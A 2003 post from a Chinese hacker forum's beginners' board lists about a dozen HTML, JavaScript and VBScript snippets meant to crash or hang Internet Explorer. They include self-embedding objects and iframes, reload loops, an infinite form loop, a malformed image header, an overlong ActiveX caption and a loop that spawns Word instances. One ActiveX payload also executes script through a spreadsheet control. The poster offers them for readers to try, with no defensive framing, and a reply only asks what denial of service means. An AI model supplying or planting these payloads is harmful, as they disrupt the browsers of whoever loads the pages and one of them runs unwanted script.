20CN网络安全小组论坛 - 菜鸟乐园 - IE的几个拒绝服务漏洞

论坛: 菜鸟乐园标题: IE的几个拒绝服务漏洞

作者: tabris17 [tabris17]

论坛用户

整理得比较仓促，没有标明影响的版本，大家慢慢试吧，基本上都有用的

1
this.htm
---------------
<OBJECT DATA="this.htm" TYPE="text/html"></OBJECT>
---------------

2
<IMG src="123" onError="this.src='123'">

3
<html>
<body onbeforeprint="document.write('Something')">
<script>
window.print();
</script>
</body>
</html>

4
<img src="src.jpg">

src.jpg
-------------------
#define odo_width  22222222222222222222
#define odo_height 22222222222222222222
static char odo_bits[] = {
0xFF,
};
--------------------

5
<OBJECT classid="clsid:99B42120-6EC7-11CF-A6C7-00AA00A47DD2" id=lblActiveLbl width=250 height=250 align=left hspace=20 vspace=0>
<PARAM NAME="Angle" VALUE="90">
<PARAM NAME="Alignment" VALUE="4">
<PARAM NAME="BackStyle" VALUE="0">
<PARAM NAME="Caption" VALUE="string(超长字符串)">
<PARAM NAME="FontName" VALUE="NGS Software Font">
<PARAM NAME="FontSize" VALUE="50">
<PARAM NAME="FontBold" VALUE="1">
<PARAM NAME="FrColor" VALUE="0">
</OBJECT>

6
<script>
self.location = self.location
</script>

7
<form name="form"><input type="text" name="box"><form>
<script language="javascript">
while(true) { document.form.box.value=document.form.box.value + '§'; }
</script>

8
<object classid="clsid:0002E551-0000-0000-C000-000000000046" style="display:none">
   <param
name="csvdata"
    value='"=HOST().parentWindow.setTimeout(""var i=20; alert(i+""""+3 equals """"+(i+3));"",10,""jscript"")"'
>
</object>

9
<html>
<body bgcolor="white">
<form>
<input type="button" value=" Click here to test for the problem " onclick="document.body.style.display='none'" style="position: absolute; left: 40%; top: 50%; background: #777777;">
</form>
</body>
</html>

10
<HTML>
<SCRIPT LANGUAGE="VbScript">
On Error Resume Next
Dim a
Dim i
for i=1 to 100
    Set a = CreateObject("Word.Application")
Next
</SCRIPT>
</HTML>

11


12
if.htm
-------------------
<iframe src="if2.htm" width="100%" height="100%"></iframe>
-------------------
if2.htm
-------------------
<script>document.URL="if.htm"</script>
-------------------

地主发表时间: 01/30 17:32

回复: JURUIAN [acnt]

论坛用户

什么叫拒绝服务漏洞?
什么叫拒绝服务?
有什么危害吗?

[此贴被 JURUIAN(acnt) 在 01月30日23时57分编辑过]

[此贴被 JURUIAN(acnt) 在 01月30日23时51分编辑过]

B1层发表时间: 2003-01-30 23:52:51

论坛: 菜鸟乐园